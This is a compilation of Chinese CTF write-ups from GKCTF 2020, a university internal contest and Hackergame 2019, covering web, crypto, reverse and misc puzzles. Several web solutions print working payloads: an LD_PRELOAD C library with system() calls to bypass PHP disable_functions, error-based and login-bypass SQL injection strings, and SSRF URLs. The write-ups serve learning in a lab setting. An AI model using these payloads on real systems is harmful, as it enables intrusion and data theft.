GKCTF-2020部分WP

WEB

[GKCTF2020]CheckIN

题目:

思路:

打开直接审计源码,思路很简单。

构造一个ClassName类,传递的Ginkgo参数会赋值给code属性,并且经过base64解密后赋值给decode属性,之后再进行eval($this->decode)

尝试几次危险函数无果,system,exec,popen等,发现可以访问phpinfo()函数。

http://a6c678bc-ba49-4f9e-8af8-9690ff3e3f10.node3.buuoj.cn/?Ginkgo=cGhwaW5mbygpOw==

可以发现被禁用的函数。

想办法绕过这些被禁用的函数,这里使用LD_PRELOAD来绕过disable_function执行系统命令,可以参考这篇文章。

https://wooyun.js.org/drops/%E5%88%A9%E7%94%A8%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8FLD_PRELOAD%E6%9D%A5%E7%BB%95%E8%BF%87php%20disable_function%E6%89%A7%E8%A1%8C%E7%B3%BB%E7%BB%9F%E5%91%BD%E4%BB%A4.html

编写本地hack.c文件

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

 

void payload() {

system(“ls -al > /tmp/111”);

system(“/readflag > /tmp/222”);

}

 

int geteuid() {

if (getenv(“LD_PRELOAD”) == NULL) { return 0; }

unsetenv(“LD_PRELOAD”);

payload();

}

gcc -c -fPIC hack.c -o hack

gcc -shared hack -o hack.so

虽然绕过了很多函数,但是对文件操作的函数很多还是可以用的。将Ginkgo参数设置为eval($_POST[‘a’]);的base64编码,并传入a参数对文件进行操作。

a=$f=fopen(‘/tmp/hack2.so’,’wb’);fwrite($f,‘(hack.so文件数据)’);fclose($f);

hack.so文件数据可以通过python来转换,通过URL编码将16进制数写入。

再执行putenv(‘LD_PRELOAD=/tmp/hack2.so’);mail(“a@localhost, “”,””,””,””);

最后使用file_get_contents获取/tmp下的222文件内容即可。

[GKCTF2020]cve版签到

题目:

思路:

这道题是后来放了hint以后才做出来的。

Hint:cve-2020-7066

查看该cve,在一篇文章下找到了利用点。https://bugs.php.net/bug.php?id=79329

描述说在遇到空字符的时候会产生错误解析。

另外在http文件头中包含了hint。

因此只要构造空字符就可以访问localhost了。

另外这里不能访问localhost,需访问127.0.0.1

http://f442a43d-ac5a-498f-85e8-442faba0edd5.node3.buuoj.cn/?url=http://127.0.0.1%00.ctfhub.com

得到提示ip要以123结尾,修改payload

http://f442a43d-ac5a-498f-85e8-442faba0edd5.node3.buuoj.cn/?url=http://127.0.0.123%00.ctfhub.com

CRYPTO

[GKCTF2020]小学生的密码学

题目:

e(x)=11x+6(mod26)

密文:welcylk

(flag为base64形式)

思路:

仿射加密,在线工具直接解密可得。http://ctf.ssleye.com/affine.html

Base64加密一下就可以提交了

Flag为:flag{c29yY2VyeQ==}

[GKCTF2020]汉字的秘密

题目:

王壮 夫工 王中 王夫 由由井 井人 夫中 夫夫 井王 土土 夫由

土夫 井中 士夫 王工 王人 土由 由口夫

思路:

经验可知当铺密码,汉字转化为出头的笔画数,解密可得

69 74 62 67 118 83 72 77 86 55 71 57 82 57 64 63 51 107

用ascii转换后可得EJ>CvSHMV7G9R9@?3k

因为都是可见字符,所以猜测方法是对的,可能做了变形。

比较前三位EJ>C和FLAG的ascii码差值。

E=69 F=70

J=74 L=76

>=62 A=65

C=67 G=71

规律很好找,修改代码可得flag。

[GKCTF2020]babycrypto

题目:

# n:0xb119849bc4523e49c6c038a509a74cda628d4ca0e4d0f28e677d57f3c3c7d0d876ef07d7581fe05a060546fedd7d061d3bc70d679b6c5dd9bc66c5bdad8f2ef898b1e785496c4989daf716a1c89d5c174da494eee7061bcb6d52cafa337fc2a7bba42c918bbd3104dff62ecc9d3704a455a6ce282de0d8129e26c840734ffd302bec5f0a66e0e6d00b5c50fa57c546cff9d7e6a978db77997082b4cb927df9847dfffef55138cb946c62c9f09b968033745b5b6868338c64819a8e92a827265f9abd409359a9471d8c3a2631b80e5b462ba42336717700998ff38536c2436e24ac19228cd2d7a909ead1a8494ff6c3a7151e888e115b68cc6a7a8c6cf8a6c005L

# e:65537

# enc:1422566584480199878714663051468143513667934216213366733442059106529451931078271460363335887054199577950679102659270179475911101747625120544429262334214483688332111552004535828182425152965223599160129610990036911146029170033592055768983427904835395850414634659565092191460875900237711597421272312032796440948509724492027247376113218678183443222364531669985128032971256792532015051829041230203814090194611041172775368357197854451201260927117792277559690205342515437625417792867692280849139537687763919269337822899746924269847694138899165820004160319118749298031065800530869562704671435709578921901495688124042302500361

# p>>128<<128:0xe4e4b390c1d201dae2c00a4669c0865cc5767bc444f5d310f3cfc75872d96feb89e556972c99ae20753e3314240a52df5dccd076a47c6b5d11b531b92d901b2b512aeb0b263bbfd624fe3d52e5e238beeb581ebe012b2f176a4ffd1e0d2aa8c4d3a2656573b727d4d3136513a931428b00000000000000000000000000000000L

思路:

看p的操作就是rsa的已知高位攻击。百度一下就得到了payload。

n=0xb119849bc4523e49c6c038a509a74cda628d4ca0e4d0f28e677d57f3c3c7d0d876ef07d7581fe05a060546fedd7d061d3bc70d679b6c5dd9bc66c5bdad8f2ef898b1e785496c4989daf716a1c89d5c174da494eee7061bcb6d52cafa337fc2a7bba42c918bbd3104dff62ecc9d3704a455a6ce282de0d8129e26c840734ffd302bec5f0a66e0e6d00b5c50fa57c546cff9d7e6a978db77997082b4cb927df9847dfffef55138cb946c62c9f09b968033745b5b6868338c64819a8e92a827265f9abd409359a9471d8c3a2631b80e5b462ba42336717700998ff38536c2436e24ac19228cd2d7a909ead1a8494ff6c3a7151e888e115b68cc6a7a8c6cf8a6c005L

p=0xe4e4b390c1d201dae2c00a4669c0865cc5767bc444f5d310f3cfc75872d96feb89e556972c99ae20753e3314240a52df5dccd076a47c6b5d11b531b92d901b2b512aeb0b263bbfd624fe3d52e5e238beeb581ebe012b2f176a4ffd1e0d2aa8c4d3a2656573b727d4d3136513a931428b00000000000000000000000000000000

p_fake = p+0x100000000000000000000000000000000

pbits = 1024

kbits = pbits-576

pbar = p_fake & (2^pbits-2^kbits)

#print(“upper %d bits (of %d bits) is given” )% (pbits-kbits, pbits)

PR.<x> = PolynomialRing(Zmod(n))

f = x + pbar

x0 = f.small_roots(X=2^kbits, beta=0.4)[0] # find root < 2^kbits with factor >= n^0.4

print(x0 + pbar)

在线sage网站运行一下就可以得到p。https://sagecell.sagemath.org/

后面就是正常的rsa解密操作。

MISC

[GKCTF2020]签到

https://live.bilibili.com/772947

[GKCTF2020]Pokémon

下载一个GBA模拟器打开附件就可以开始玩了。

正常的废话流程,走到103号道路就可以看到用杂草摆出的flag。

Flag为:flag{PokEmon_14_CutE}

[GKCTF2020]问卷调查

RE

[GKCTF2020]Check_1n

下载附件打开玩一玩,

发现是一台电脑

用键盘操作点击开机键以后需要输入开机密码。

用ida查看得到密码为HelloWorld。

输入密码后进入电脑。

先打开flag文件,可以得到一串base64编码的字符串。

V2h5IGRvbid0IHlvdSB0cnkgdGhlIG1hZ2ljIGJyaWNrIGdhbWU=

解密后为:Why don’t you try the magic brick game

提示去玩其他游戏,最后在打砖块游戏里失败后就可以得到flag。

浙江工业大学12月1日内部赛WP

 

宝葫芦口

使用 IDA 打开文件

Main 函数先 scanf 了一个东西,然后取它的长度,如果长度是 101,就会输出 yes。然后继续看 check 函数

很简单的逻辑,第一位是 ASCII 是 71,第二位是 105,第三位是 118,第四位是 101,最后一位是 33。

使用 python 构造 payload:

nc 连接服务器,即可得到 flag

WEB-3

Input

第一步:查看源码

  1. <!DOCTYPE html>
  2. <html>
  3. <head lang=”en”>
  4.  <meta charset=”UTF-8″>
  5.  <title>Input</title>
  6. </head>
  7. <body>
  8. <div align=”center”>
  9.  <input type=”text” id=”flag” style=”width: 200px;margin-left: 100px;” value=”” />
  10.  <input type=”button” name=”” id=”” onclick=”check();” value=”提交”/>
  11. </div>
  12. </body>
  13. <script>
  14.   function check(){
  15.     var flag = document.getElementById(“flag”).value;
  16.     var str = “d84d9657e5e5e” || 0;
  17.     var str = str + (“ad2ad3fe” && 2);
  18.     var str = str + “a2da9494b8” + “ddea4fd4”;
  19.     var str = str.split(“”).reverse().join(“”);
  20.     if (str == flag){
  21.       alert(“恭喜你已经找到flag!”);
  22.     }
  23.   }
  24. </script>
  25. </html>

我们有两个发现:

①一眼锁定有中文的那个地方:我们知道只要让str的值和flag的值相等就可以得到flag。

②然后我们看flag从哪里来的:我们看到第9行,输入框的id号就是flag。也就是说,我们输入的值等于str就可以了。

③str的值是多少:16行到19行都是str的定义声明。

第二步:我们可以利用在chrome里面,F12,在控制台把str的值打印出来,然后复制弹框里面的str值,粘贴到输入框里就可以了。

  1. var str = “d84d9657e5e5e” || 0;
  2. var str = str + (“ad2ad3fe” && 2);
  3. var str = str + “a2da9494b8” + “ddea4fd4”;
  4. var str = str.split(“”).reverse().join(“”);
  5. alert(str);
  • var value = A || B 只看A的值是真还是假,如果为真返回A的值,否则返回B的值。
  • var value = A&& B 只看A的值,A为假返回A的值,否则返回B的值。
  • split() 方法用于把一个字符串分割成字符串数组。
  • reverse() 函数用于反向列表中元素。
  • join() 方法用于把数组中的所有元素放入一个字符串。

WEB-4

我的生日

这里的我指的哆啦A梦,百度哆啦A梦的生日

按照题目的格式要求输入21120903和验证码,即可过关

WEB -7

题目:admin123456

描述:入门级入侵,你以为就这样你就能得分了?太小看admin 了。(答案为flag{}形式,提交{}中内容即可)

分类:web

相关环境:靶机 IP 192.168.11.31

步骤一:进去后在登录框内输入,可以发现前端对一些特殊字符做了过滤;

步骤二:利用Burpsuite抓包可以绕过前端过滤,构造payload:name=’ or ”=’&password=’ or ”=’ ;可以成功拿到flag

MISC-1 文件中的秘密

小明经常喜欢在文件中藏一些秘密。时间久了便忘记了,你能帮小明找到该文件中的秘密吗?

MISC-2 隐藏的钥匙

路飞一行人千辛万苦来到了伟大航道的终点,找到了传说中的One piece,但是需要钥匙才能打开One Piece大门,钥匙就隐藏在下面的图片中,聪明的你能帮路飞拿到钥匙,打开One Piece的大门吗?

MISC-3 基础破解

给你一个压缩包,你并不能获得什么,因为他是四位数字加密的哈哈哈哈哈哈哈。。。不对= =我说了什么了不得的东西。。

MISC-4 ningen

人类的科学日益发展,对自然的研究依然无法满足,传闻日本科学家秋明重组了基因序列,造出了名为ningen的超自然生物。某天特工小明偶然截获了日本与俄罗斯的秘密通信,文件就是一张ningen的特写,小明通过社工,知道了秋明特别讨厌中国的六位银行密码,喜欢四位数。你能找出黑暗科学家秋明的秘密么?(答案为flag{}形式,提交{}内内容即可)

下载附件,是个奇奇怪怪的图片,查看属性,什么也没有,拖入winhex

右下角有ningen.txt,所以去binwalk一下

可以发现里面有zip,foremost分解一下

得到zip,发现有密码,题目中说讨厌银行卡6位密码,喜欢四位数,所以可以直接爆破纯数字,四位

得到密码

压缩包内的文本文件

crypto-1 这是什么

小明是一个软件专业的高材生,但是老师布置的这次的作业似乎不怎么靠谱,因为他们老师以前是学物理的!喜欢乱七八糟命名文件,还喜欢奇奇怪怪的编码。你快帮小明看一下这题,小明准备好了一箱子辣条。(答案为flag{}形式,提交{}内内容即可)

首先,下载到了一个apk文件,把它放到winhex里看了一下,发现一大段[](+的字符

应该是类似于BF密码,然后复制下来到百度里搜了一下,发现这个可以直接在console里运行。

运行之后就跳出了弹框,得到flag。

Crypto-2 救世捷径

一个名叫CPU的神秘大陆有26个国家,有些国家之间会有一条无向路,每条路径都有不同的长度和一段神秘代码,救世主尼奥要从国家1出发,赶往国家26拯救大陆,请你帮助救世主选择最短路径,而走过的路的神秘代码连接起来便是flag。 以下是数行数据,每行第一个,第二个数字代表这条路的两个端点国家,第三个数字代表路途长度,最后一个字符串便是神秘代码。路在附件中~ 帮助救世主尼奥吧,他快被吓尿了。。。(答案为flag{}形式,提交{}内内容即可)

看到路径和规则后 开始试

在后面发现“18 24 93 SHFVG”这条走不通先删

从”1 2 100 FLAG{ “开始

优先在 ”2 5 50 WEIVK“

“2 6 51 AWEIW”中选 因为觉得花费少

挑选相对消耗少的然后一个一个尝试出了结果

“1 2 100 FLAG{”开始 挑选了相对较低的“2 5 50 WEIVK”到达5

5 10 43 AEWJV

5 11 32 QWKXF

5 12 44 ASJVL

三个中 本来打算选择 5 11 32 QWKXF

走到11

11 21 57 SJHGG

12 22 47 SJCHF

发现走5 12 44 ASJVL 然后 12 22 47 SJCHF

和走5 11 32 QWKXF 然后11 21 57 SJHGG

消耗一样 想着走大一点的就先选了先走5 12 44 ASJVL 然后 12 22 47 SJCHF

接下来的路没有选择 就直接走下去了

最后试了一下FLAG{WEIVKASJVLSJCHFSJVHJSDEV}的值直接一次成功了

写wp时找了下代码

# coding:utf-8

source=”’

1 2 100 FLAG{

2 3 87 AFQWE

2 4 57 ETKLS

2 5 50 WEIVK

2 6 51 AWEIW

3 7 94 QIECJF

3 8 78 QSXKE

3 9 85 QWEIH

4 13 54 WQOJF

4 14 47 KDNVE

4 15 98 QISNV

5 10 43 AEWJV

5 11 32 QWKXF

5 12 44 ASJVL

6 16 59 ASJXJ

6 17 92 QJXNV

6 18 39 SCJJF

6 23 99 SJVHF

7 19 99 WJCNF

8 20 96 SKCNG

9 20 86 SJXHF

10 21 60 SJJCH

11 21 57 SJHGG

12 22 47 SJCHF

14 10 55 EJFHG

16 17 59 ASJVH

18 12 53 SJFHG

18 24 93 SHFVG

21 22 33 SJFHB

19 25 88 ASHHF

20 25 96 SJVHG

22 25 23 SJVHJ

25 26 75 SDEV}

”’

d = source.split()

dic={}

for i in range(len(d)/4):#数据预处理

f1=i*4

f2=i*4+1

f3=i*4+2

f4=i*4+3

if int(d[f1]) not in dic:

dic.update({int(d[f1]):dict({int(d[f1]):[0,”]})})

if int(d[f2]) not in dic:

dic.update({int(d[f2]):dict({int(d[f2]):[0,”]})})

dic[int(d[f1])][int(d[f2])]=[int(d[f3]),d[f4]]

#print dic

def Dijkstra(G,v0,INF=999):

book = set()

minv = v0

# 源顶点到其余各顶点的初始路程

dis = dict((k,[INF,”]) for k in G.keys())

 

dis[v0] = [0,”]

while len(book)<len(G):

#print book

book.add(minv) # 确定当期顶点的距离

#print G[minv]

for w in G[minv]: # 以当前点的中心向外扩散

#print minv,w

#print dis

if dis[minv][0] + G[minv][w][0] < dis[w][0]: # 如果从当前点扩展到某一点的距离小与已知最短距离

dis[w][0] = dis[minv][0] + G[minv][w][0] # 对已知距离进行更新

dis[w][1] = dis[minv][1] + G[minv][w][1] # 对相应字符串进行增长

new = INF # 从剩下的未确定点中选择最小距离点作为新的扩散点

for v in dis.keys():

if v in book: continue

if dis[v][0] < new:

new = dis[v][0]

minv = v

return dis

dis = Dijkstra(dic,v0=1)

print dis.values()

Crypto-3 萌萌哒的八戒

萌萌哒的八戒原来曾经是猪村的村长,从远古时期,猪村就有一种神秘的代码。请从附件中找出代码,看看萌萌哒的猪八戒到底想说啥

 

Crypto-4 篱笆墙的影子

星星还是那颗星星哟 月亮还是那个月亮 山也还是那座山哟 梁也还是那道梁 碾子是碾子 缸是缸哟 爹是爹来娘是娘 麻油灯呵还吱吱响 点的还是那么丁点亮 哦哦

题目:篱笆墙的影子

描述:

星星还是那颗星星哟

月亮还是那个月亮

山也还是那座山哟

梁也还是那道梁

碾子是碾子

缸是缸哟

爹是爹来娘是娘

麻油灯呵还吱吱响

点的还是那么丁点亮 哦哦

分类:crypto

步骤一:打开附件内容如下:felhaagv{ewtehtehfilnakgw},根据题目描述判断是栅栏密码;

步骤二:分栏列举解密,可以发现密文分成13栏的时候拿到flag

Crypto-5 大帝的秘密武器

公元前一百年,在罗马处上了一位对世界影响巨大的人物,他是当时罗马三巨头之一。在执政生涯中,传言他率先使用了一种简单的加密函,因此这种加密方法以他的名字命名。以下密文被解开后可以获得一个有意义的单词,你可以用这个相同的加密向量加密附件中的密文,作为答案进行提交:FRPHEVGL。答案为非常规形式。

大帝的秘密武器

根据史料可知,这位皇帝为凯撒大帝,所以使用的加密方法应该是凯撒加密。使用在线工具

使用人工智能(大脑)查找有意义词汇,SECURITY,发现偏移量为 13,所以用 13 对ComeChina进行加密

得到 flag:PbzrPuvan

Crypto-6 一张谍报

国家能源总部经过派出卧底长期刺探,终于找到一个潜伏已久的国外内鬼:三楼能源楼管老王。由于抓捕仓促,老王服毒自尽了。侦查部门搜出老王每日看的报纸原来是特制的情报。聪明的你能从附件的报纸中找出情报么?flag是老王说的暗号。(由于老王的线人曾今做的土匪,所以用的行话)

题目说老王每天看的报纸是特制的情报,然后在报纸中发现了两篇题目一模一样,内容也很相近的文章,那么可以推断这是一个字对一个字的“密码本”。在报纸的最后,有颜色非常浅的一段文字,如下图所示:

与上面的右侧文章相对照,可以发现该文章中的很多奇怪的字在这段文字里都有,那么这段文字,应该就是密文。可以用word查找替换功能一一替换密文中的字。得到下面这样的结果:

今朝梆子二更头,老鹰蹲猎东口,三更鼹鼠断东口亮子,老鹰进北口上树,三枝遇孙子,孙子对虎符曰:南天菩萨放鹰捉猴头。鹰对:北朝罗汉伏虎乱天门。合符放行,卡符扯呼。人离烧树,鼹鼠归洞,孙子找爷爷。

题目说,flag是老王说的暗号,但老王是谁呢?此时注意到题目提到老王是三楼的楼管,解出来黑话中有“三枝遇孙子”这样的话,也就是说,老王就是孙子,那么flag就是:南天菩萨放鹰捉猴头。

Crypto-7 其实很简单

在学习了凯撒大帝使用的神奇密码后,密码前辈们有创造出了更为奇异的加密方法。本题出题者喜欢用helloworld当密钥,密文如下:dlpcsegkshrij,请破解后提交。附录是一张似乎有用的表。答案为非常规形式。

Reverse-1Mysterious

自从报名了CTF竞赛后,小明就辗转于各大论坛,但是对于逆向题目仍是一知半解。有一天,一个论坛老鸟给小明发了一个神秘的盒子,里面有开启逆向思维的秘密。小明如获至宝,三天三夜,终于解答出来了,聪明的你能搞定这个神秘盒子么?(答案为flag{}形式,提交{}内内容即可)

Reverse-2helloword

有难的题目,也就有简单的题目,就像程序员一辈子编写的第一个程序,极有可能是helloword,它很普通,但是也很让人怀念。你猜这题flag在哪里?让我们怀念第一次编写的easy程序吧!(答案为flag{}形式,提交{}内内容即可)

Reverse-3firmware

网管小张审计日志时发现疑似黑客使用Bash漏洞对公司的路由器进行了攻击,小张通过技术手段获取到了路由器固件dump文件,但是小张不懂逆向分析,请帮助小张分析出后门程序所使用的远程服务器和端口.(flag文件在/home/ctf/flag.txt文件中,Flag形式为 md5(网址:端口)},注意网址不包含http比如:md5(www.baidu.com:80)=5411a465b86d593986b8b9f9b1c1788c)

firmware

路由器固件分析题 需要的工具binwalk 、 firmware-mod-kit 和upx

firmware-mod-kit地址UPX地址

安装firmware-mod-kit

linux> sudo apt-get install git build-essential zlib1g-dev liblzma-dev python- magic

linux> git clone https://github.com/mirror/firmware-mod-kit.git linux> cd firmware-mod-kit/src

linux> ./configure linux> make

使用binwalk分离固件

binwalk -e 58da080ca4461.bin

使用firmware-mod-kit

linux> cd firmware-mod-kit linux> ./unsquashfs_all.sh

‘/home/Curtails/Desktop/_58da080ca4461.bin.extracted/120200.squashfs’ linux> cd squashfs-root/tmp/

linux> ls backdoor

cd squashfs-root/tmp 看到后门文件backdoor 有壳 直接upx -d backdoor 脱壳

ida打开分析 字符串查找

查看此字符串引用函数

得echo.byethost51.com:36667 md5加密即可

flag{33a422c45d551ac6e4756f59812a954b}

Reverse-4简单注册器

生活中难免会有需要使用一些付费的程序,但是没有绿色版怎么办?只能自己逆向看看注册程序的代码是什么逻辑了。(答案为flag{}形式,提交{}内内容即可)

工具 :Androidkiller,夜神模拟器

拖进去打开查看源Java代码

分析主要函数

paramBundle.setOnClickListener(new View.OnClickListener()

{

public void onClick(View paramAnonymousView)

{

int j = 1;

paramAnonymousView = this.val$editview.getText().toString();

if ((paramAnonymousView.length() != 32) || (paramAnonymousView.charAt(31) != ‘a’) || (paramAnonymousView.charAt(1) != ‘b’) || (paramAnonymousView.charAt(0) + paramAnonymousView.charAt(2) – 48 != 56)) {

j = 0;

}

if (j == 1)

{

paramAnonymousView = “dd2940c04462b4dd7c450528835cca15”.toCharArray();

paramAnonymousView[2] = ((char)(paramAnonymousView[2] + paramAnonymousView[3] – 50));

paramAnonymousView[4] = ((char)(paramAnonymousView[2] + paramAnonymousView[5] – 48));

paramAnonymousView[30] = ((char)(paramAnonymousView[31] + paramAnonymousView[9] – 48));

paramAnonymousView[14] = ((char)(paramAnonymousView[27] + paramAnonymousView[28] – 97));

j = 0;

for (;;)

{

if (j >= 16)

{

paramAnonymousView = String.valueOf(paramAnonymousView);

localTextView.setText(“flag{” + paramAnonymousView + “}”);

return;

}

int i = paramAnonymousView[(31 – j)];

paramAnonymousView[(31 – j)] = paramAnonymousView[j];

paramAnonymousView[j] = i;

j += 1;

}

}

localTextView.setText(“输入注册码错误”);

}

}

方法一,分析if里的条件,只要满足就会输出flag。打开夜神模拟器

构造一串字符串 0b8xxxxxxxxxxxxxxxxxxxxxxxxxxxxa

方法二:直接写脚本跑

#include <iostream>

#include<string>

using namespace std;

int main()

{

char s[] = “dd2940c04462b4dd7c450528835cca15”;

s[2] = s[2] + s[3] – 50;

s[4] = s[2] + s[5] – 48;

s[30] = s[31] + s[9] – 48;

s[14] = s[27] + s[28] – 97;

int j = 0;

while (j < 16)

{

int i = s[(31 – j)];

s[31 – j] = s[j];

s[j] = i;

j++;

}

cout << s << endl;

return 0;

}

结果即为flag

Other-1 密码是啥

是否可以使用常规SQL注入方法?

是否可以使用盲注?

是否可以使用报错注入?

admin’ and updatexml(1,concat(0x3a, (select database()),0x3a),1);–

查看表名

admin’ and updatexml(1,concat(0x3a, (select group_concat(table_name)

from information_schema.tables where table_schema = database()),0x3a),1);–

查看表的字段

admin’ and updatexml(1,concat(0x3a, (select group_concat(column_name) from information_schema.columns where table_name = ‘admin’),0x3a),1);–

查看表的字段值

admin’ and updatexml(1,concat(0x3a,(select group_concat(f149_k3y) from admin),0x3a),1);–

Other-2 Upload

白名单上传绕过

文件名 00截断,文件类型伪造,文件头伪造

 

中科大Hackergame2019部分WP

前阵子打了中科大主办的一个hackergame2019,题目还可以,一个人打的,比较菜,就做了几个WEB题MISC和一个比较简单的数学题。850分,排名423/1904(我太菜了,请不要喷)因为大佬众多,就不班门弄斧了,就写一下自己做出来的题吧。

 

WEB

签到题

很简单的输入token获取flag

什么按钮点不了?你还是别打CTF了,页面源码中

Disabled属性去掉就可以了

信息安全2077

Emmmmm打开题目发现居然还有这么久才到2077年,等到2077年都举办了多少届hackergame了,遂抓包,发现了第一个包里面看到的时间判断,我们需要通过POST的方式来取得flag

后该题复现的时候出现一些小问题(可能是环境关了?也可能是其他不可预知错误)导致后来抓到的包和之前的不一样,反正只要在前端审计的时候知道POST出去的包中的时间改为2077,UA头修改为黑曜石浏览器以后的就可以取得flag了

当时得到的flag是flag{Welc0me_to_competit1on_in_2077}

网页读取器

贴一下源码

from flask import Flask, render_template, request, send_from_directory
import requests  # well, requests is designed for humans, and I like it.


app = Flask(__name__)
whitelist_hostname = ["example.com",
                     "www.example.com"]
whitelist_scheme = ["http://"]


def check_hostname(url):
    for i in whitelist_scheme:
        if url.startswith(i):
            url = url[len(i):]  # strip scheme
            url = url[url.find("@") + 1:]  # strip userinfo
            if not url.find("/") == -1:
                url = url[:url.find("/")]  # strip parts after authority
            if not url.find(":") == -1:
                url = url[:url.find(":")]  # strip port
            if url not in whitelist_hostname:
                return (False, "hostname {} not in whitelist".format(url))
            return (True, "ok")
    return (False, "scheme not in whitelist, only {} allowed".format(whitelist_scheme))


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/request")
def req_route():
    url = request.args.get('url')
    status, msg = check_hostname(url)
    if status is False:
        # print(msg)
        return msg
    try:
        r = requests.get(url, timeout=2)
        if not r.status_code == 200:
            return "We tried accessing your url, but it does not return HTTP 200. Instead, it returns {}.".format(r.status_code)
        return r.text
    except requests.Timeout:
        return "We tried our best, but it just timeout."
    except requests.RequestException:
        return "While accessing your url, an exception occurred. There may be a problem with your url."


@app.route("/source")
def get_source():
    return send_from_directory("/static/", "app.py", as_attachment=True)


if __name__ == '__main__':
    app.run("0.0.0.0", 8000, debug=False)

可以看到这是需要我们构造一个SSRF来读取,但是可以看到这边它进行了相应的过滤,但是却把@符号前面的都作为了用户名部分,于是直接构造如下payload:

http://202.38.93.241:10020/request?url=http%3A%2F%2Fweb1%2Fflag%3F%40example.com

达拉崩吧大冒险

这题挺有意思的,猜到了是大整数溢出,但是我是一次次试出来的,第一次直接给了个巨大的负数,加了几次不动了…于是开始不大的负数一点点加,差不多点了5分钟,终于变正了,这题参考一下别人的WP。

在王大妈这里,买入鲜美香脆可口甘甜现炸童子鸡可提升攻击力。通过修改网页代码,发现支持买入负数只鸡。此时攻击力会降低,而金钱会增加。但我们需要的是增加攻击力去打恶龙昆图库塔卡提考特苏瓦西拉松,钱再多也没用啊!

多次尝试后可得出,先买入 -MaxInt64 只(-9223372036854775808)童子鸡,此时攻击力会变成非常小的一个负数。再买入 -1 只童子鸡,攻击力会溢出,变为非常大的一个正数。(实际有很多种买法,让攻击力变得太小溢出即可)

第一步进入市场买鸡,将value改为-maxint64,提交

第二次再去买,改成-1即可溢出,攻击变正了

直接去打恶龙,打败恶龙取得flag

Math

宇宙终极问题

根据要求通过nc访问题目,输入token后出现如下问题

三个数的立方加起来等于42???我懵逼了,Google一下发现是著名的三立方问题,找到答案后输入取得flag

看到第二个问题我更懵了,遂放弃…后来看官方WP:谷歌一下就好了啊(我:???)

MISC

在这场比赛里MISC好像被分类为了General,不过并不影响

白与夜

这道题打开了就是一个图片,想到了图片隐写

用stegsolve打开直接看到了??

据我估计可能是两张透明度不同的图片叠加所致,直接通过Windows自带的照片工具看不出来,用有些工具可以很明显看到空白像素方块。

正则验证器

首先我们下载一下源码:

#!/usr/bin/env python3

import signal
import re


def flag(*args, **kwargs):
    print(open("flag").read())
    exit()


def main():
    print("Welcome to the free online Regular Expression Verifier")
    print("Please enter your RegEx and string and I will match them for you\n")

    r = input("RegEx: ")
    if len(r) > 6:
        print("Sorry your regex is too long.")
        exit()
    s = input("String: ")
    if len(s) > 24:
        print("Sorry your string is too long.")
        exit()

    r = re.compile(r)
    signal.signal(signal.SIGALRM, flag)
    signal.alarm(1)
    m = r.search(s)
    signal.alarm(0)
    if m:
        print("Your regex matches the string!")
    else:
        print("Your regex doesn't match the string!")


if __name__ == "__main__":
    signal.alarm(30)
    main()

可以看到程序执行了正则表达式的匹配,根据题目给出的提示:

一开始看的一脸懵逼,还请教了多位开发大佬,都说正则运行极快,那如何在6个字符以内的正则表达式对一串24个长度的字符串进行匹配还超过一秒呢?多方查找后,发现了一种叫做正则表达式DDOS的方法,一篇介绍的比较详细的文章链接如下:

https://www.freebuf.com/column/201766.html

以下题是比赛后才解出来的:

Happy LUG

题目给了这一张图,显然这是一个域名,当我们在浏览器中输入的时候无情返回错误

但是发现表情被解析成了xh–g28h

多方查阅资料后发现这和中文域名的原理差不多,是将包含特殊字符串转换为punycode。关于punycode百度百科解释:Punycode(译为:域名代码)是一种表示Unicode码和ASCII码的有限的字符集。例如:“münchen”(德国慕尼黑)会被编码为“mnchen-3ya”。我靠这也太少了吧,于是去了wiki:https://en.wikipedia.org/wiki/Punycode(非常详细,英文不好的同学自行Googletranslate)

根据渗透测试中信息收集常用的手法进行DNS解析,直接ping无果,nslookup也无果(当时比赛结束前就进行了这两步)。赛后灵光乍现想到Linux下信息收集常用的dig命令,一篇较为详细的文章连接如下https://blog.csdn.net/reyleon/article/details/12976889

针对这个域名直接在kali中运行dig命令是会报错的

因为他当中包含某些字符不被允许,正常情况下例如请求百度返回如下:

我们按照他的要求加上noidnout

返回得到了部分信息,之后试着查询A记录,发现并没有返回(意思大概是不存在IP地址?没有深究过不太了解),继续试着查询其他记录信息(这边直接查了txt记录),命令如下:

dig txt xn--g28h.hack.ustclug.org +noidnout

成功得到flag:flag{DN5_C4N_H4VE_em0ji_haha}

当然DNS的常见记录类型包括了A记录,MX记录,NS记录,CNAME记录,TXT记录,TTL值,PTR值。这个题我们直接执行dig any xn--g28h.hack.ustclug.org +noidnout查询所有记录的方式也是可以得到flag的。

 

由于本人水平有限(实在太菜),自己做出的题的WP就分享到这里。贴一下官方的Git仓库地址,里面包含了所有题目的源码和官方/选手的WP:

https://github.com/ustclug/hackergame2019-writeups

因为那上面的不少大佬WP写的比较迷我也没看懂,再来一篇某排名第四大佬的WP地址:

Hackergame 2019(中科大信安赛)write up

因为WP,某些原因导致图片可能没法看,PDF版本已上传到网盘,有需要的自取

链接:https://pan.baidu.com/s/1hjkPeLrVSiQmnjjf6rAjmA
提取码:vb9p